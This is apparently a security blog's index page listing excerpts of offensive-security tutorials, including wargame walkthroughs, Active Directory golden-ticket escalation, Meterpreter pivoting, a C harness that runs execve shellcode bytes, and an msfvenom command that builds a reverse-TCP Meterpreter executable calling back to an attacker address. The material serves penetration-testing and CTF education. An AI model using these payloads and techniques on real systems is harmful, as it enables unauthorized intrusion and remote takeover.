SCCM: Tampering with Deployment Boundaries for Privilege Escalation

In large-scale enterprise environments, centralized software deployment automation provides tremendous operational efficiency for both employees and IT departments. However, delegating software installation self-service to unprivileged users introduces subtle security boundary assumptions that attackers can exploit to achieve local privilege escalation (NT AUTHORITY\SYSTEM). When standard enterprise users are permitted to initiate software installations on demand via Software Center, third-party installer packages are often executed within the SYSTEM security context. Because most commercial software installers were originally engineered assuming an interactive local administrator session rather than automated headless deployment, this architectural mismatch creates high-impact security vulnerabilities: DLL search-order hijacking, insecure temporary directory usage, and file-creation race conditions. ...

August 1, 2025 · 7 min · 1324 words · Ahmad Mahfouz

Cross-Domain Escalation: Child-to-Forest Compromise via SID History and Golden Tickets

In complex enterprise networks, Active Directory is typically deployed as a multi-domain forest. An organization begins with a forest root domain (e.g., UNIXAWY.CORP) and branches into child domains for geographic regions, business units, or acquisitions (e.g., operators.unixawy.corp). A common security misconception is that a child domain functions as a security boundary. In an Active Directory forest, the forest is the only true security boundary—the domain is simply an administrative boundary. ...

May 24, 2020 · 3 min · 542 words · Ahmad Mahfouz

Linux Heap Memory Architecture: Chunks, Bins, and Allocators

Unlike stack memory which grows downward from high addresses and is automatically managed via function call frames, Heap memory grows upward from lower addresses and is managed explicitly at runtime via dynamic allocation. Understanding heap layout and allocator metadata is fundamental to analyzing heap exploitation primitives (such as use-after-free, heap overflows, fastbin dupes, and unlink exploitation). Core Allocation Primitives malloc(size): Requests size bytes from the heap and returns a generic pointer. The returned memory is uninitialized. calloc(num, size): Allocates memory for an array and initializes all bytes to zero (mitigates information disclosure bugs). realloc(ptr, size): Resizes an existing heap block, either expanding in-place or allocating a new region, copying existing data, and freeing the old chunk. free(ptr): Releases the allocated chunk back to the heap manager. Kernel Interface: brk/sbrk vs. mmap The userspace memory allocator (e.g., Glibc’s ptmalloc) interacts with the Linux kernel using two primary system calls: ...

May 22, 2020 · 3 min · 561 words · Ahmad Mahfouz

Lightweight Exploit Development Interface Using .gdbinit Hooks

When debugging binaries during exploit development or wargames, third-party frameworks like GEF, Pwndbg, or Peda provide helpful dashboard views. However, in restricted testing environments, CTF shells, or isolated embedded targets, you may not have internet access or Python dependencies installed to run external tools. You can configure vanilla GDB to provide an automated register and stack inspection view using native define hook-stop hooks in ~/.gdbinit. Custom ~/.gdbinit Configuration Create or update ~/.gdbinit in your home directory: ...

February 4, 2019 · 2 min · 239 words · Ahmad Mahfouz

Testing and Validating Shellcode in C via Function Pointers

When writing or modifying custom assembly shellcode (such as egg hunters, socket reuse payloads, or stagers), you must verify that the payload functions correctly before embedding it into a full exploit delivery chain. A standard C test harness executes shellcode by casting a char array in memory to a function pointer and calling it directly. The C Test Harness #include <stdio.h> #include <string.h> // Example: Software breakpoint (INT3) or your target shellcode const char shellcode[] = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"; int main(int argc, char **argv) { printf("Shellcode length: %zu bytes\n", strlen(shellcode)); // Cast the array address to a callable function pointer int (*ret)() = (int (*)())shellcode; // Transfer control flow to shellcode ret(); return 0; } Compilation Flags: Disabling Modern Mitigations Modern compilers enable Stack Canaries and enforce Non-Executable Memory (DEP / NX) by default. If you attempt to execute data placed in the .rodata or .data section without special flags, the kernel terminates the process with a SIGSEGV / segmentation fault. ...

October 15, 2018 · 2 min · 234 words · Ahmad Mahfouz

Network Pivoting and Port Forwarding with Metasploit and Meterpreter

During penetration tests and red team operations, an initial compromised foothold often resides in a perimeter network (DMZ) or employee subnet. These dual-homed hosts can act as springboards (pivots) to reach isolated internal segments unreachable from your attack workstation. The Network Scenario Attacker Workstation: 10.0.0.5 Compromised Host (Dual-Homed Foothold): External NIC: 10.0.0.10 Internal Private Subnet NIC: 10.0.2.15 Internal Target Host (Isolated): 10.0.2.30 Step 1: Internal Subnet Discovery (arp_scanner) From your active Meterpreter session on the compromised host, discover live hosts on the internal 10.0.2.0/24 subnet using ARP requests: ...

January 8, 2015 · 2 min · 278 words · Ahmad Mahfouz

Generating Standalone Windows Executables with msfvenom

msfvenom is Metasploit’s command-line payload generation and encoding utility (combining the legacy msfpayload and msfencode tools). It outputs shellcode across hundreds of formats including C arrays, raw binaries, and standalone executables (PE, ELF, Mach-O). Generating a Standard Windows Reverse TCP Executable To generate an x86 staged Meterpreter payload packaged as a standalone 32-bit Windows .exe: msfvenom -p windows/meterpreter/reverse_tcp \ LHOST=192.168.1.10 \ LPORT=4444 \ -a x86 --platform windows \ -f exe -o payload.exe Inspect the generated binary with file: ...

January 8, 2015 · 1 min · 191 words · Ahmad Mahfouz

Smash The Stack: IO Level 6 Walkthrough

Level 6 on the Smash The Stack IO wargame takes two command-line arguments (username and password) and prints a greeting: level6@io:/levels$ ./level06 user pass Hi user Notice that the application checks the LANG environment variable to determine which greeting to print: level6@io:/levels$ export LANG=fr level6@io:/levels$ ./level06 user pass Bienvenue user level6@io:/levels$ export LANG=de level6@io:/levels$ ./level06 user pass Willkommen user Vulnerability Analysis The program structure internally organizes credentials into a record: ...

December 5, 2014 · 2 min · 312 words · Ahmad Mahfouz

Locating Environment Variable Memory Addresses for Exploit Payloads

When exploiting buffer overflows in space-constrained stack frames (e.g., when the vulnerable buffer is only 20 or 30 bytes), you cannot fit a standard 50-byte shellcode payload directly on the stack. A classic exploitation technique is ret2env: injecting the shellcode into an environment variable (export EGG=...) and redirecting execution to its address located near the high end of the process address space. Why Addresses Shift Environment variables reside at the top of the user stack directly below the initial stack frame. Because the program name (argv[0]) is pushed onto the stack immediately following the environment pointer (envp), the exact address of an environment variable depends slightly on the length of the binary name: ...

December 4, 2014 · 2 min · 280 words · Ahmad Mahfouz

Smash The Stack: IO Level 5 Walkthrough

Level 5 of the Smash The Stack IO wargame presents a classic stack-based buffer overflow scenario. Executing the binary simply echoes the supplied command-line argument: level5@io:/levels$ ./level05 test test Analyzing the Source Code The source file level05.c shows an unbounded strcpy into a fixed 128-byte stack buffer: #include <stdio.h> #include <string.h> int main(int argc, char **argv) { char buf[128]; if (argc < 2) return 1; strcpy(buf, argv[1]); printf("%s\n", buf); return 0; } Because strcpy() copies until it hits a null byte without checking the destination bounds of buf[128], an argument exceeding 128 bytes overwrites adjacent stack data, including the saved base pointer (EBP) and return address (EIP). ...

December 3, 2014 · 2 min · 344 words · Ahmad Mahfouz